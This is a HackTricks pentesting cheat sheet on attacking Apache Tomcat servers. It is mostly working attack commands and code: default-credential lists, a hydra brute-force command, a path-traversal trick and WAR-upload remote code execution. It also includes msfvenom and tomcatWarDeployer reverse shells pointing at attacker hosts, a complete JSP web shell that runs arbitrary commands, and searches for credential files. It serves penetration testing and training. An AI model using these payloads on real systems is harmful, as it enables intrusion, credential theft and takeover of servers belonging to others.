HackTricks
Search…
Pentesting
Powered By GitBook
Tomcat
It usually runs on port 8080

Avoid to run with root

In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.

Username Enum

In some versions prior to Tomcat6 you could enumerate users:
1
msf> use auxiliary/scanner/http/tomcat_enum
Copied!

Default credentials

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
    admin:admin
    tomcat:tomcat
    admin:<NOTHING>
    admin:s3cr3t
    tomcat:s3cr3t
    admin:tomcat
You could test these and more using:
1
msf> use auxiliary/scanner/http/tomcat_mgr_login
Copied!
Another interesting Tomcat path is /manager/status, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access /manager/html.

Bruteforce

This could be needed.
1
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Copied!

Vulns

Double URL encode

A well-known vulnerability to access the application manager __ is mod_jk in CVE-2007-1860, that allows Double URL encode path traversal.
In order to access to the management web of the Tomcat go to: pathTomcat/%252E%252E/manager/html
Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token. To access to backdoor you might also need to use the double urlencode trick.

/examples

The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from here).
    /examples/jsp/num/numguess.jsp
    /examples/jsp/dates/date.jsp
    /examples/jsp/snp/snoop.jsp
    /examples/jsp/error/error.html
    /examples/jsp/sessions/carts.html
    /examples/jsp/checkbox/check.html
    /examples/jsp/colors/colors.html
    /examples/jsp/cal/login.html
    /examples/jsp/include/include.jsp
    /examples/jsp/forward/forward.jsp
    /examples/jsp/plugin/plugin.jsp
    /examples/jsp/jsptoserv/jsptoservlet.jsp
    /examples/jsp/simpletag/foo.jsp
    /examples/jsp/mail/sendmail.jsp
    /examples/servlet/HelloWorldExample
    /examples/servlet/RequestInfoExample
    /examples/servlet/RequestHeaderExample
    /examples/servlet/RequestParamExample
    /examples/servlet/CookieExample
    /examples/servlet/JndiServlet
    /examples/servlet/SessionExample
    /tomcat-docs/appdev/sample/web/hello.jsp

RCE

Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).

Limitations

You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions) (see POST section).
1
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
2
3
# deploy under "path" context path
4
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
5
6
# undeploy
7
curl "http://tomcat:[email protected]:8080/manager/text/undeploy?path=/monshell"
Copied!

Metasploit

1
use exploit/multi/http/tomcat_mgr_upload
2
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
3
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
4
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
5
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
6
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Copied!

MSFVenom Reverse Shell

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
Copied!
Then, upload the revshell.war file and access to it (/revshell/)

Bind and reverse shell with tomcatWarDeployer.py

In some scenarios this doesn't work (for example old versions of sun)

Download

1
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Copied!

Reverse shell

1
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Copied!

Bind shell

1
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Copied!

Using Culsterd

1
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Copied!

Manual method - Web shell

Create index.jsp with this content:
1
<FORM METHOD=GET ACTION='index.jsp'>
2
<INPUT name='cmd' type=text>
3
<INPUT type=submit value='Run'>
4
</FORM>
5
<%@ page import="java.io.*" %>
6
<%
7
String cmd = request.getParameter("cmd");
8
String output = "";
9
if(cmd != null) {
10
String s = null;
11
try {
12
Process p = Runtime.getRuntime().exec(cmd,null,null);
13
BufferedReader sI = new BufferedReader(new
14
InputStreamReader(p.getInputStream()));
15
while((s = sI.readLine()) != null) { output += s+"</br>"; }
16
} catch(IOException e) { e.printStackTrace(); }
17
}
18
%>
19
<pre><%=output %></pre>
Copied!
1
$ mkdir webshell
2
$ cp index.jsp webshell
3
$ cd webshell
4
$ jar -cvf ../webshell.war *
5
webshell.war is created
Copied!
You could also install this (allows upload, download and command execution): http://vonloesch.de/filebrowser.html

POST

Name of Tomcat credentials file is tomcat-users.xml
1
find / -name tomcat-users.xml 2>/dev/null
Copied!
Other ways to gather Tomcat credentials:
1
msf> use post/multi/gather/tomcat_gather
2
msf> use post/windows/gather/enum_tomcat
Copied!
Last modified 1mo ago